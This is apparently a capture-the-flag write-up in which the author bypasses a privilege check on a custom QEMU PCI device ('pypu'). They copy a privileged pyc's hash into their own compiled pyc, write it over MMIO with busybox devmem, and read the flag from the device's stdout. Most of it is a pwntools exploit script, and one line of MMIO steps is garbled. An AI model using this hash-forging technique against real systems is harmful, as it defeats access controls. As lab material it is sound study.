We are given a QEMU environment with a PCI device to run pyc. The memory mapping is:
$ lspci
00:03.0 Class 00ff: 1337:1225
$ cat /proc/iomem
febd5000-febd5fff : 0000:00:03.0
febd6000-febd6fff : 0000:00:03.0
febd7000-febd7fff : 0000:00:03.0
Reading the code, 0xfebd5000 is the mmio, 0xfebd6000 is stdout, 0xfebd7000 is stderr. To run pyc, we need to:
0xfebd50100xfebd5100+i0xfebd500c0xfebd60000xfebd7000To read flag, we need to import gifts module and print gifts.flag. Also, the pyc must have a specific value at offset 8:
bool privileged = pyc_hash == PYPU_PRIVILEGED_HASH;
if (privileged) {
debug_log("[pypu] pyc hash matches privileged blob (0x%016" PRIx64 ")\n",
PYPU_PRIVILEGED_HASH);
}
We create a python script to read the flag, and compile it:
import gifts
print(gifts)
print(gifts.flag)
# python -m compileall getflag.py
Then, we override the pyc_hash to match the privileged one, send it to the pci device, and get flag from stdout:
from pwn import *
context(log_level="debug")
p = process(
["/challenge/run.sh"],
env={
"PYPU_DEBUG": "1",
},
)
p.recvuntil(b"# ")
p.sendline(b"busybox devmem 0xfebd5000 32")
privileged_code = open(
"/opt/runtime/pypu_programs/privileged_peek_gift.pyc", "rb"
).read()
code = bytearray(open("getflag.cpython-313.pyc", "rb").read())
# override pyc_hash
for i in range(8):
code[8 + i] = privileged_code[8 + i]
# write to code_len
p.recvuntil(b"# ")
p.sendline(f"busybox devmem 0xfebd5010 32 {len(code)}".encode())
# write code
for i in range(len(code)):
p.recvuntil(b"# ")
p.sendline(f"busybox devmem {hex(0xfebd5100+i)} 8 {code[i]}".encode())
# start work
p.recvuntil(b"# ")
p.sendline(f"busybox devmem 0xfebd500c 32 0".encode())
sleep(1)
# read from stdout
stdout = []
for i in range(256):
p.recvuntil(b"# ")
p.sendline(f"busybox devmem {hex(0xfebd6000 + i)} 8".encode())
p.recvuntil(b"0xfebd")
p.recvuntil(b"0x")
data = int(p.recvline(), 16)
stdout.append(data)
# read from stderr
stderr = []
for i in range(256):
p.recvuntil(b"# ")
p.sendline(f"busybox devmem {hex(0xfebd7000 + i)} 8".encode())
p.recvuntil(b"0xfebd")
p.recvuntil(b"0x")
data = int(p.recvline(), 16)
stderr.append(data)
print(bytes(stdout))
print(bytes(stderr))
p.interactive()